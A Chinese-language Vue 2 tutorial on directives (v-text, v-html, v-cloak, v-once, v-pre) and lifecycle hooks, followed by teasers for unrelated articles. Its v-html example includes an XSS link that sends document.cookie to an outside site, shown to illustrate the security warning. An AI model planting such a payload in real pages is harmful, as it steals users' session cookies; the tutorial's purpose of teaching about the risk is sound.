v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
v-text
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
3.不支持结构的解析
实例
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-text指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><div>你好,{{name}}</div><div v-text="name"></div><div v-text="str"></div></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷',str:'<h3>你好啊!</h3>'}})</script>
</html>
v-html
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-html指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><div>你好,{{name}}</div><div v-html="str"></div><div v-html="str2"></div></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷',str:'<h3>你好啊!</h3>',str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',}})</script>
</html>
v-cloak
v-cloak指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
实例
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-cloak指令</title><style>[v-cloak]{display:none;}</style><!-- 引入Vue --></head><body><!-- 准备好一个容器--><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script></body><script type="text/javascript">console.log(1)Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷'}})</script>
</html>
v-once
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-once指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2 v-once>初始化的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>
v-pre
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-pre指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2 v-pre>Vue其实很简单</h2><h2 >当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>
生命周期
引出生命周期
生命周期:
1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
4.生命周期函数中的this指向是vm 或 组件实例对象。
需求:
我现在想要实现一个文字,我要他周而复始地,从不透明逐渐变到透明,然后又变回不透明再到透明。
代码实现:
将定时器挂载到mounted钩子上
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>引出生命周期</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2 v-if="a">你好啊</h2><h2 :style="{opacity}">欢迎学习Vue</h2></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{a:false,opacity:1},methods: {},//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mountedmounted(){console.log('mounted',this)setInterval(() => {this.opacity -= 0.01if(this.opacity <= 0) this.opacity = 1},16)},})</script>
</html>
完整的生命周期
1. 初始化阶段
-
new Vue()
:-
创建一个新的 Vue 实例。
-
初始化生命周期、事件和数据代理。
-
-
beforeCreate
:-
在这个阶段,Vue 实例已经创建,但数据代理和事件还没有开始。
-
此时无法通过
vm
访问data
中的数据或methods
中的方法。
-
-
created
:-
数据监测和数据代理开始。
-
此时可以通过
vm
访问data
中的数据和methods
中的方法。 -
适合进行数据初始化和异步数据请求。
-
2. 挂载阶段
-
模板编译:
-
如果有
template
选项,Vue 会编译模板生成渲染函数。 -
如果没有
template
,Vue 会使用el
的outerHTML
作为模板。 -
如果使用构建步骤(如单文件组件),模板编译是在构建时提前完成的。
-
-
beforeMount
:-
页面显示的是未经 Vue 编译的 DOM 结构。
-
对 DOM 的操作不会生效。
-
-
虚拟 DOM:
-
在挂载阶段,虚拟 DOM 被转换为真实 DOM 并插入页面。
-
-
mounted
:-
页面显示的是经过 Vue 编译的 DOM。
-
对 DOM 的操作生效。
-
适合进行 DOM 操作、绑定事件、发送网络请求等初始化操作。
-
3. 更新阶段
-
数据变化:
-
当数据发生变化时,Vue 会触发更新。
-
-
beforeUpdate
:-
数据是新的,但页面是旧的。
-
页面尚未与数据保持同步。
-
-
虚拟 DOM 重新渲染和 patch:
-
根据新数据,生成新的虚拟 DOM。
-
随后与旧的虚拟 DOM 进行比较,最终完成页面更新,即完成了 Model -> View 的更新。
-
-
updated
:-
数据是新的,页面也是新的。
-
页面和数据保持同步。
-
适合在 DOM 更新后执行操作。
-
4. 销毁阶段
-
beforeDestroy
:-
Vue 实例的所有功能(
data
、methods
等)仍可用。 -
马上要执行销毁过程。
-
适合进行清理操作,如关闭定时器、取消订阅、解绑事件等。
-
-
destroyed
:-
Vue 实例被销毁,所有绑定和事件监听器被移除。
-
实例不再可用。
-
相关文章:
前端-vue2核心
官网网址Vue2 安装 — Vue.js 搭建环境 第一种方式(刚开是接触Vue) 我们看官网,可以直接在script引入vue版本。这里有两个版本,开发版和生产版本。我们两个都下载。 然后创建一个项目,将下载的生产版本和开发版本粘…...
基于springboot的“协同过滤算法的高考择校推荐系统”的设计与实现(源码+数据库+文档+PPT)
基于springboot的“协同过滤算法的高考择校推荐系统”的设计与实现(源码数据库文档PPT) 开发语言:Java 数据库:MySQL 技术:springboot 工具:IDEA/Ecilpse、Navicat、Maven 系统展示 系统功能结构图 局部E-R图 系统…...
制作前的关键筹备:考试考核系统之核心要点
明确系统使用目的 制作考试考核系统前,企业需明确系统使用目的,这是开发基石,不同目的决定系统功能特性。用于员工培训考核时,系统要与培训内容结合,能生成相应考题,检验员工知识掌握程度,具备…...
【动手学深度学习】现代卷积神经网络:ALexNet
【动手学深度学习】现代卷积神经网络:ALexNet 1,ALexNet简介2,AlexNet和LeNet的对比3, AlexNet模型详细设计4,AlexNet采用ReLU激活函数4.1,ReLU激活函数4.2,sigmoid激活函数4.3,为什…...
Linux自启动脚本 systemctl
1.编写好脚本 #!/bin/bash /home/china/Linux/code/a.out2. 创建 Systemd 服务文件 sudo gedit /etc/systemd/system/my_script.service3.编写服务配置 将以下内容写入文件(根据需求修改字段): [Unit] DescriptionMy Custom Shell Script…...
2024年KBS SCI1区TOP:信息增益比子特征分组赋能粒子群算法ISPSO,深度解析+性能实测
目录 1.摘要2.信息度量3.改进策略4.结果展示5.参考文献6.代码获取 1.摘要 特征选择是机器学习中的关键预处理步骤,广泛应用于实际问题。尽管粒子群算法(PSO)因其强大的全局搜索能力被广泛用于特征选择,但要开发一种高效的PSO方法…...
餐饮厨房开源监控安全系统的智能革命
面对日益严格的合规要求和消费者对卫生的信任危机,传统人工监督已力不从心:卫生死角难发现、违规操作难追溯、安全隐患防不胜防。如何让后厨更透明、更安全、更可信?餐饮厨房视频安全系统横空出世!这套系统融合实时监控与AI技术&a…...
Ansys Electronics 变压器 ACT
你好, 在本博客中,我将讨论如何使用 Ansys 电子变压器 ACT 自动快速地设计电力电子电感器或变压器。我将逐步介绍设计和创建电力电子变压器示例的步骤,该变压器为同心组件,双绕组,采用正弦电压激励,并应用…...
Redis与Lua原子操作深度解析及案例分析
一、Redis原子操作概述 Redis作为高性能的键值存储系统,其原子性操作是保证数据一致性的核心机制。在Redis中,原子性指的是一个操作要么完全执行,要么完全不执行,不会出现部分执行的情况。 Redis原子性的实现原理 单线程模型&a…...
Shell 脚本开发从入门到实战
第1章:什么是 Shell 与 Shell 脚本? 一、Shell 是什么? Shell 是一个命令解释器,是你在 Linux 里敲命令的地方。你平时用的命令如 cd、ls、echo,其实都由 Shell 来解析执行。最常见的 Shell 是 Bash,绝大…...
宇视设备视频平台EasyCVR打造智慧酒店安防体系,筑牢安全防线
一、需求背景 酒店作为人员流动频繁的场所,对安全保障与隐私保护有着极高的要求。为切实维护酒店内部公共区域的安全秩序,24小时不间断视频监控成为必要举措。通常情况下,酒店需在本地部署视频监控系统以供查看,部分连锁酒店还希…...
深度解读分销小程序商城源码系统:从搭建到运营的关键指南
在移动互联网浪潮的席卷下,电商领域持续变革与创新。分销小程序商城凭借其独特优势,如依托社交平台流量、便捷的购物体验、高效的分销推广模式等,成为众多企业和创业者开展线上业务的热门选择。深入了解分销小程序商城源码系统,从…...
BeeWorks:打造安全可控的企业内网即时通讯平台
在数字化办公时代,企业对即时通讯工具的需求日益增长,尤其是对数据安全和隐私保护有严格要求的行业,如金融、政府、医疗等。BeeWorks 作为一款专注于内网部署的即时通讯软件,凭借其卓越的安全性、稳定性、丰富的功能以及全面的信创…...
微信小程序开发:废品回收小程序-功能清单
用户端:便捷体验,触手可及 废品百科与估价指南:平台以直观的方式展示各类废品的分类标准与实时市场价格,让用户轻松掌握废品价值,决策更从容。 一键预约,轻松回收:用户只需轻触屏幕,…...
【Grok 大模型深度解析】第一期:技术溯源与核心突破
一、Grok的技术基因:从Transformer到混合架构的演进 1.1 Transformer架构的局限性 2017年Google提出的Transformer架构彻底改变了自然语言处理领域,其自注意力机制(Self-Attention)在长序列建模上表现优异。然而,随着模型规模的增大,传统Transformer暴露出以下问题: 计…...
性能比拼: Redis vs Memcached
本内容是对知名性能评测博主 Anton Putra Redis vs Memcached Performance Benchmark 内容的翻译与整理, 有适当删减, 相关指标和结论以原作为准 在本视频中,我们将对比 Redis 和 Memcached。我会介绍一些功能上的不同,但主要关注 性能。 首先…...
Mujoco xml actuator
actuator general(通用执行器)motor(电机执行器)position(位置伺服)velocity(速度伺服)intvelocity(积分速度伺服)damper(主动阻尼器)…...
Mybatis Plus分页查询返回total为0问题
概述 最近开发公司新项目,使用 Mybatis Plus 分页,发现总数和总页数为0,在此记录问题和解决方案。 添加 MybatisPlusConfig /*** author: lanys* version: 1.0* 创建时间:2025年4月9日 14:24:40* Description: MybatisPlus分页…...
多卡分布式训练:torchrun --nproc_per_node=5
多卡分布式训练:torchrun --nproc_per_node=5 1. torchrun 实现规则 torchrun 是 PyTorch 提供的用于启动分布式训练作业的实用工具,它基于 torch.distributed 包,核心目标是简化多进程分布式训练的启动和管理。以下是其主要实现规则: 进程启动 多进程创建:torchrun 会…...
网络层-IP地址计算
例1:IP地址二进制与十进制互转 题目: 将二进制IP 11000000.10101000.00000001.00001010 转换为点分十进制。将IP地址 172.16.254.1 转换为二进制格式。 答案与解析: 转换步骤: 每个8位二进制转为十进制: 11000000 →…...
BeagleBone Black笔记
目录 参考资料开机led控制GPIO输入输出插网线联网安装gcc编译工具镜像备份验证备份完整性将内存卡插入目标BBBboot启动开关 参考资料 链接: BeagleBone Black使用(一):狗板简介 链接: 使用Beaglebone Black的IO口 开机 直接用usb连接到电脑…...
【25软考网工笔记】第一章 计算机网络概述
目录 一、计算机网络发展与分类 1. 计算机网络形成和发展 1)ICT 2)计算机网络的发展 3)我国互联网发展 2. 计算机网络分类 1)通信子网和资源子网 2)PAN、LAN、MAN、WAN 3)其他分类方式 3. 计算机…...
Soybean Admin 配置vite兼容低版本浏览器、安卓电视浏览器(飞视浏览器)
环境 window10 pnpm 8.15.4 node 8.15.4 vite 5.1.4 soybean admin: 1.0.0 native-ui: 2.38.0 小米电视 MIUI TV版本:MiTV OS 2.7.1886(稳定版) 飞视浏览器:https://www.fenxm.com/1220.html在小米电视安装飞视浏览器可以去小红书查安装教程:…...
MicroPython 开发ESP32应用教程 之 I2S、INMP441音频录制、MAX98357A音频播放、SD卡读写
本课程我们讲解Micropython for ESP32 的i2s及其应用,比如INMP441音频录制、MAX98357A音频播放等,还有SD卡的读写。 一、硬件准备 1、支持micropython的ESP32S3开发板 2、INMP441数字全向麦克风模块 3、MAX98357A音频播放模块 4、SD卡模块 5、面包板及…...
从零到一:基于DeepSeek-R1的智能贪吃蛇开发实战
《基于DeepSeek-R1的AI驱动高性能贪吃蛇游戏开发全流程解析》 一、技术选型与环境搭建 开发工具链 • 编辑器:VSCode/Sublime(支持代码生成插件) • 运行环境:Node.js v16+(用于API调用及后端服务) • 图形库:HTML5 Canvas(网页端)或OLED驱动(单片机场景) • AI引擎…...
数据结构与算法-动态规划-区间dp,状态机dp,树形dp
3-区间 DP 介绍 通常用 (dp[i][j]) 表示区间 ([i, j]) 上的某种最优值,比如 (dp[i][j]) 可以表示从下标 (i) 到 (j) 的元素进行某种操作所得到的最大收益、最小花费等。 状态转移方程:这是区间 DP 的关键。它描述了如何从较小的区间的最优解得到较大区…...
文件内容课堂总结
Spark-Core编程 Key-Value类型: partitionBy函数根据指定Partitioner重新进行分区,默认使用HashPartitioner groupByKey函数根据key对value进行分组,有三种函数签名 reduceByKey函数将数据按相同Key对Value进行聚合,与groupByKey相…...
【树莓派Pico FreeRTOS】-任务通知
任务通知 文章目录 任务通知1、硬件准备2、软件准备3、FreeRTOS的任务通知介绍4、任务通知数据传输实例RP2040 由 Raspberry Pi 设计,具有双核 Arm Cortex-M0+ 处理器和 264KB 内部 RAM,并支持高达 16MB 的片外闪存。 广泛的灵活 I/O 选项包括 I2C、SPI 和独特的可编程 I/O (…...
c++11新内容补充
1.列表初始化 1.1传统{ }初始化 c98的{ }初始化主要是用于数组,以及结构体 1.2c11{ }初始化 1.让内置类型和自定义类型都可以用{ }实现多个数据初始化,而自定义类型的实现原理是类型转换(没优化的版本是先构造临时对象,然后拷贝构…...
动态规划基础
动态规划 动态规划概论楼梯最短路最长上升子序列(LIS)最长公共子序列(LCS)最长回文子串 概率动态规划区间动态规划石子合并括号序列石子合并(环形) 树形动态规划统计人数没有上司的舞会 背包01背包完全背包多重背包分组背包 动态规…...
导入 Excel 批量替换文件名称及扩展名
重命名的需求是多种多样的,我们一个方法或一个工具很难说完全满足 100% 的文件重命名的需求。如果我们的文件重命名的需求非常的复杂的时候,我们能否有一个万全的方法来帮我们实现呢?那今天就给大家介绍一下导入 excel 的方式批量修改文件名称…...
降低AIGC检测率的AI润色提示词模板
以下是针对降低AIGC检测率的 AI润色提示词模板,涵盖语言风格优化、逻辑重构、学术规范强化等维度,结合反检测策略设计,可直接用于DeepSeek等工具: 一、标题与摘要优化 1. 标题去AI化 提示词: 请将以下标题改写成更学…...
系统思考—提升解决动态性复杂问题能力
感谢合作伙伴的信任推荐! 客户今年的人才发展重点之一,是提升管理者应对动态性、复杂性问题的能力。 在深入交流后,系统思考作为关键能力模块,最终被纳入轮训项目——这不仅是一次培训合作,更是一场共同认知的跃迁&am…...
spring--整合Mybatis详解
整合Mybatis 步骤: 1.导入相关Maven依赖 junit mybatis mysql数据库连接 spring相关的 aop织入 mybatis-spring 2.编写配置文件 3.测试 回忆mybatis 还需连接数据库 导入依赖: <dependencies><dependency><groupId>juni…...
深入理解 HTML5 Audio:网页音频播放的新时代
在网页开发领域,音频的嵌入和播放一直是一个重要且不断演进的话题。HTML5 的出现,为网页音频播放带来了标准化的解决方案,极大地改善了开发者和用户的体验。 一、HTML5 之前的音频播放状况 在 HTML5 诞生之前,互联网上缺乏统一的网页音频播放标准。当时,大多数音频播放依…...
Cloudflare 缓存工作原理
Cloudflare 缓存是 Cloudflare 内容分发网络(CDN)的一个关键组成部分,通过在靠近用户的全球网络边缘服务器上存储和交付内容,显著提升网站性能。以下是关于 Cloudflare 缓存的相关内容: 工作原理 内容请求:…...
【Unity3D中UI与物体可见性的判断方法】
系列文章目录 unity知识点 文章目录 系列文章目录👉前言👉一、判断UI的可见性1-1、第一种1-2、通过RectTransform计算可视区域1-3、滚动容器内可见性检测(Scroll View) 👉二、判断物体的可见性2-1、视锥体检测方法2-2…...
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(1):承上启下,继续上路
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(1):承上启下,继续上路 1、前言(1)情况说明(2)工程师的信仰2、知识点(1)普通形(ふつうけい)と思います(2)辞書形ことができます(3)Vたことがあります。(4)Vた とき & Vる とき3、单词(1)日语单词(2…...
ubuntu24.04 cmake 报错 libldap-2.5.so.0 解决办法
apt cmake有毛病 换源重新安装 wget -O - https://apt.kitware.com/keys/kitware-archive-latest.asc 2>/dev/null | sudo apt-key add - sudo apt-add-repository "deb https://apt.kitware.com/ubuntu/ $(lsb_release -cs) main" sudo apt update sudo apt in…...
Mac 关闭浏览器左右滑动切换页面的问题
在使用触控板,操作浏览器时,左右滑动时,浏览器容易触发前进或者后退去查看历史记录。 如何关闭呢? 打开Mac- 系统设置-触控板 -更多手势 将轻扫切换页面设置为关,就可以了...
在 openEuler 24.03 (LTS) 操作系统上添加 ollama 作为系统服务的步骤
以下是在 openEuler 操作系统上添加 ollama 作为系统服务的步骤: 创建 systemd 服务文件 sudo vi /etc/systemd/system/ollama.service将以下内容写入服务文件(按需修改参数): [Unit] DescriptionOllama Service Afternetwork.…...
华为昇腾服务器上查看固件、驱动和CANN版本的常用方法
Hey小伙伴们~👋 今天来聊聊怎么在华为昇腾服务器上查看固件、驱动和CANN版本吧!💻 这些信息对于确保你的服务器运行顺畅可是超级重要的哦!下面就来给大家介绍几种常用的查看方法!👇 🌟 1. 查…...
击球手怎么玩·棒球1号位
以棒球运动为例,在棒球运动中,击球手(Batter)是进攻方的核心角色,负责通过击球创造得分机会。以下是结合棒球运动的详细介绍和击球技巧指南: 一、棒球基础规则 比赛目标 击球手需将投手(Pitch…...
java基础多态------面试八股文
是什么是多态 类引用指向子类对象,并调用子类重写的方法,实现不同的行为 例子 class Animal {void sound() {System.out.println("动物发出声音");} }class Dog extends Animal {Overridevoid sound() {System.out.println("狗叫&…...
Python中的字典
文章目录 一、Python中的字典1. 字典的特点2. 字典的创建3. 字典的常见操作1. **访问字典中的值**2. **修改字典中的值**3. **添加键值对**4. **删除键值对**5. **检查键是否存在**6. **获取字典的长度**7. **遍历字典** 4. 字典的方法5. 嵌套字典6. 字典的优点7. 示例总结 二、…...
C++对象生命周期管理:从构造到析构的完整指南
在C开发中,准确掌握对象的生命周期管理是避免内存泄漏和资源竞争的关键。本文通过完整代码示例和内存布局分析,深入解析构造/析构顺序、继承体系、智能指针等核心机制,并分享实用调试技巧。 一、成员变量构造顺序:声明即命运 cl…...
代码随想录第14天:(二叉树)
一、找树左下角的值(Leetcode 513) 递归法: class Solution:def findBottomLeftValue(self, root: TreeNode) -> int:# 初始化最大深度为 -1,表示当前尚未遍历任何节点# 初始化 result 为 None,最终将存储最左边的…...
TCP/UDP的连接和数据发送过程详解
TCP TCP三次握手 在服务端启动好后会调用 listen() 方法,进入到 LISTEN 状态,然后静静等待客户端的连接请求到来。 而此时客户端主动调用 connect(IP地址) ,就会向某个IP地址发起第一次握手,会先建立个半连接,发送SYN…...
2. 单词个数统计
【问题描述】 编写一个程序,输入一个句子,然后统计出这个句子当中不同的单词个数。例如,对于句子“one little two little three little boys",总共有5个不同的单词,one, little, two, three, boys。 说明&…...
Js生成螺旋数组。
这段代码定义了一个名为 vetux 的函数,用于生成一个螺旋矩阵。螺旋矩阵是一种按照螺旋顺序填充数字的二维数组。以下是代码的详细解释: 函数定义 function vetux(n, m) {// 创建一个 m 行 n 列的二维数组,初始值为 0const a new Array(m).…...